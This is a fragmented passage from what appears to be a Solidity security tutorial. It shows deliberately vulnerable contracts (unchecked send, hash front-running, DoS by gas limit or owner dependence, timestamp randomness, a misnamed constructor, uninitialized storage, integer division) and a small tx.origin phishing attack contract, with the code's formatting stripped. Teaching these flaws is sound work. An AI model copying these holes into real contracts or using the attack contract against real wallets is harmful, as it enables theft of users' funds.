1contractLotto{2 3boolpublicpayedOut=false;4addresspublicwinner;5uintpublicwinAmount;6 7// ... extra functionality here8 9functionsendToWinner()public{10require(!payedOut);11winner.send(winAmount);12payedOut=true;13}14 15functionwithdrawLeftOver()public{16require(payedOut);17msg.sender.send(this.balance);18}19}
1...2functioncash(uintroundIndex,uintsubpotIndex){3 4varsubpotsCount=getSubpotsCount(roundIndex);5 6if(subpotIndex>=subpotsCount)7return;8 9vardecisionBlockNumber=getDecisionBlockNumber(roundIndex,subpotIndex);10 11if(decisionBlockNumber>block.number)12return;13 14if(rounds[roundIndex].isCashed[subpotIndex])15return;16//Subpots can only be cashed once. This is to prevent double payouts17 18varwinner=calculateWinner(roundIndex,subpotIndex);19varsubpot=getSubpot(roundIndex);20 21winner.send(subpot);22 23rounds[roundIndex].isCashed[subpotIndex]=true;24//Mark the round as cashed25}26...
1contractFindThisHash{2bytes32constantpublichash=30xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;4 5constructor()publicpayable{}// load with ether6 7functionsolve(stringsolution)public{8// If you can find the pre-image of the hash, receive 1000 ether9require(hash==sha3(solution));10msg.sender.transfer(1000ether);11}12}
0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a
functionapprove(address_spender,uint256_value)returns(boolsuccess)
This pattern typically appears when an owner wishes to distribute tokens
to investors with a distribute-like function,
as in this example contract:
1contractDistributeTokens{2addresspublicowner;// gets set somewhere3address[]investors;// array of investors4uint[]investorTokens;// the amount of tokens each investor gets5 6// ... extra functionality, including transfertoken()7 8functioninvest()publicpayable{9investors.push(msg.sender);10investorTokens.push(msg.value*5);// 5 times the wei sent11}12 13functiondistribute()public{14require(msg.sender==owner);// only owner15for(uinti=0;i<investors.length;i++){16// here transferToken(to,amount) transfers "amount" of17// tokens to the address "to"18transferToken(investors[i],investorTokens[i]);19}20}21}
Notice that the loop in this contract runs over an array that can be
artificially inflated. An attacker can create many user accounts, making
the investor array large. In principle this can be done such that the
gas required to execute the for loop exceeds the block gas limit,
essentially making the distribute function inoperable.
Another common pattern is where owners have
specific privileges in contracts and must perform some task in order for
the contract to proceed to the next state. One example would be an Initial Coin Offering (ICO)
contract that requires the owner to finalize the contract, which then
allows tokens to be transferable. For example:
1boolpublicisFinalized=false;2addresspublicowner;// gets set somewhere3 4functionfinalize()public{5require(msg.sender==owner);6isFinalized==true;7}8 9// ... extra ICO functionality10 11// overloaded transfer function12functiontransfer(address_to,uint_value)returns(bool){13require(isFinalized);14super.transfer(_to,_value)15}16 17...
In such cases, if the privileged user loses their private keys or becomes
inactive, the entire token contract becomes inoperable. In this case, if
the owner cannot call finalize no tokens can be transferred;
the entire operation of the token ecosystem hinges on a single
address.
Contracts are sometimes written such that progressing to a new state requires sending ether to an address, or waiting for some input from an external source. These patterns can lead to DoS attacks when the external call fails or is prevented for external reasons. In the example of sending ether, a user can create a contract that does not accept ether. If a contract requires ether to be withdrawn in order to progress to a new state (consider a time-locking contract that requires all ether to be withdrawn before being usable again), the contract will never achieve the new state, as ether can never be sent to the user’s contract that does not accept ether.
1contractRoulette{2uintpublicpastBlockTime;// forces one bet per block3 4constructor()publicpayable{}// initially fund contract5 6// fallback function used to make a bet7function()publicpayable{8require(msg.value==10ether);// must send 10 ether to play9require(now!=pastBlockTime);// only 1 transaction per block10pastBlockTime=now;11if(now%15==0){// winner12msg.sender.transfer(this.balance);13}14}15}
1contractOwnerWallet{2addresspublicowner;3 4// constructor5functionownerWallet(address_owner)public{6owner=_owner;7}8 9// Fallback. Collect ether.10function()payable{}11 12functionwithdraw()public{13require(msg.sender==owner);14msg.sender.transfer(this.balance);15}16}
1// A locked name registrar2contractNameRegistrar{3 4boolpublicunlocked=false;// registrar locked, no name updates5 6structNameRecord{// map hashes to addresses7bytes32name;8addressmappedAddress;9}10 11// records who registered names12mapping(address=>NameRecord)publicregisteredNameRecord;13// resolves hashes to addresses14mapping(bytes32=>address)publicresolve;15 16functionregister(bytes32_name,address_mappedAddress)public{17// set up the new NameRecord18NameRecordnewRecord;19newRecord.name=_name;20newRecord.mappedAddress=_mappedAddress;21 22resolve[_name]=_mappedAddress;23registeredNameRecord[msg.sender]=newRecord;24 25require(unlocked);// only allow registrations if contract is unlocked26}27}
0x0000000000000000000000000000000000000000000000000000000000000001
1contractFunWithNumbers{2uintconstantpublictokensPerEth=10;3uintconstantpublicweiPerEth=1e18;4mapping(address=>uint)publicbalances;5 6functionbuyTokens()publicpayable{7// convert wei to eth, then multiply by token rate8uinttokens=msg.value/weiPerEth*tokensPerEth;9balances[msg.sender]+=tokens;10}11 12functionsellTokens(uinttokens)public{13require(balances[msg.sender]>=tokens);14uinteth=tokens/tokensPerEth;15balances[msg.sender]-=tokens;16msg.sender.transfer(eth*weiPerEth);17}18}
1contractPhishable{2addresspublicowner;3 4constructor(address_owner){5owner=_owner;6}7 8function()publicpayable{}// collect ether9 10functionwithdrawAll(address_recipient)public{11require(tx.origin==owner);12_recipient.transfer(this.balance);13}14}
1import"Phishable.sol";2 3contractAttackContract{4 5PhishablephishableContract;6addressattacker;// The attacker's address to receive funds7 8constructor(Phishable_phishableContract,address_attackerAddress){9phishableContract=_phishableContract;10attacker=_attackerAddress;11}12 13function()payable{14phishableContract.withdrawAll(attacker);15}16}
Website: https://www.ethpm.com/
Repository link: https://www.ethpm.com/registry
GitHub link: https://github.com/ethpm
Documentation: https://www.ethpm.com/docs/integration-guide